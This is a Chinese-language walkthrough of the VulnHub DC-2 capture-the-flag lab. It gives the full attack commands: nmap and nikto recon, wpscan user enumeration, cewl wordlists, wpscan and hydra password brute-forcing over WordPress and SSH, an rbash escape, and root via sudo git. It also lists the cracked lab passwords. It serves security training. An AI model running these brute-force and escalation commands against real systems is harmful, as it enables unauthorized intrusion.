VulnHub DC-2

前言

靶机下载地址:https://www.vulnhub.com/entry/dc-2,311/
靶机:DC2 (VirtualBox)       IP:192.168.43.15
攻击机:Kali (VMware)        IP:192.168.43.242
说明:同DC1,DC2需要找到5个flag

配置同DC-1

开始

首先查看kali的ip得到192.168.43.242

VulnHub DC-2_第1张图片

 nmap查看靶机ip得到192.168.43.15

VulnHub DC-2_第2张图片 

继续nmap嗅探靶机其余信息,发现开放80/7744

VulnHub DC-2_第3张图片

flag1

通过浏览器访问这个网站,发现无法正常访问页面,但在url地址栏会有http://dc-2域名提示,发现问题是本地无法解析域名dc-2。

编辑/etc/hosts文件,添加靶机IP地址及对应域名:192.168.43.15  dc-2

vim /etc/hosts
192.168.43.15  dc-2

VulnHub DC-2_第4张图片

添加域名解析后,然后在地址栏输入http://dc-2/ 可以正常访问网页信息,发现该CMS是WordPress并在Flag页面找到flag1。

VulnHub DC-2_第5张图片提示使用cewl密码字典生成工具来生成密码,并且在登录后可以找到下一个flag,即flag2在后台。

flag2

网站可以正常访问,但没有找到后台登录页面,我们可以使用nikto工具扫描网站结构,找到wp-login.php登录页面:

Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件CGIs;超过625种服务器版本;超过230种特定服务器问题。

-h:host

-o:output

nikto -h dc-2 -o nikto-dc2.txt

VulnHub DC-2_第6张图片

访问登录页面:http://dc-2/wp-login.php

VulnHub DC-2_第7张图片

一般WordPress网站都会有admin用户,但需要爆破密码。

使用wpscan工具扫描网站,获取可以登录网站的用户名,扫描后可以找到三个用户名:admin、tom、jerry。

WPScan(WordPress扫描工具)是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

-e:简单进行整体快速扫描

u:枚举WordPress用户名

-U:指定用户名字典

-P:指定密码字典

wpscan --url dc-2 -e u

 VulnHub DC-2_第8张图片

把扫描到的3个用户名做一个字典,名字为dc2user.txt。

vim dc2users.txt

admin
tom
jerry

使用flag1中提示的cewl工具生成密码字典dc2.txt

Cewl是一种采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添加额外的外部链接,然后Cewl会给你返回一个字典文件,你可以把字典用到另外,Cewl还提供了命令行工具。

cewl http://dc-2 -w dc2.txt
cat dc2.txt

VulnHub DC-2_第9张图片

然后使用wpscan工具爆破

wpscan --url dc-2 -U dc2users.txt -P dc2.txt

成功爆破出jerry和tom用户

使用tom用户登录论坛,没找到有用信息

再使用jerry用户登录论坛,可以找到flag2,再无其他有用信息

VulnHub DC-2_第10张图片

flag2提示:如果你没办法利用WordPress,就从另外一个方向切入,即80端口切入失败,就换另外一个7744(ssh)端口

flag3

要进行ssh登录密码爆破,就得使用Hydra工具使用已生成的密码字典dc2.txt对已知的用户名进行爆破

Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。

-L:指定用户名字典

-P:指定密码字典

-s:可通过这个参数指定非默认端口

hydra -L dc2users.txt -P dc2.txt 192.168.43.15 ssh -s 7744

获得ssh登录用户:tom / parturient

VulnHub DC-2_第11张图片

使用tom用户进行ssh登录:

ssh [email protected] -p 7744

-p:后接远程主机开放的ssh端口号,如果远程主机ssh使用的默认22端口,可以不加-p,直接ssh远程主机名。

 VulnHub DC-2_第12张图片

使用tom用户ssh登录后,使用 ls 命令在home目录下找到flag3.txt,查看flag3.txt

 

系统运维人员一般都会给Linux shell加上一些限制来防止入侵,通常会阻止运行某些特定的命令。 

发现是受限的shell命令,rbash,涉及到rbash绕过方法

https://www.cnblogs.com/zaqzzz/p/12075132.html#2rbash%E7%BB%95%E8%BF%87

 输入

BASH_CMDS[a]=/bin/sh;a  #调用/bin/sh命令解释器
/bin/bash  #使用bash命令解释器
export PATH=$PATH:/bin/ #设置环境变量

成功绕过了rbash,cat命令再次查看flag3.txt

即提示需要su jerry切换jerry用户,之前爆破出的jerry密码是adipiscing

flag4

VulnHub DC-2_第13张图片 

切换jerry用户后发现,家目录下有个flag4.txt 

也可以直接使用 find / -name “flag4.txt” 查找flag

VulnHub DC-2_第14张图片

提示还不是最终的flag,提示git,查看sudo配置文件,发现git是root不用密码可以运行,搜索git提权

flag5(最后一个flag)

sudo -l  #查看可以使用root权限无密码的命令,有git命令

 VulnHub DC-2_第15张图片

可以看出这个git不用root密码,可以利用一下

sudo git help config
    !/bin/bash或者!'sh'完成提权

sudo git -p help
    !/bin/bash

 

可以看到已经是root权限了

VulnHub DC-2_第16张图片

Well done! 

相关知识点

1、域名解析
2、工具的使用及其相关命令(cewl、nikto、wpscan、hydra)
3、ssh登录密码爆破
4、rbash绕过方法
5、git提权

你可能感兴趣的:(#,——【,Penetration,Test】,vulnhub)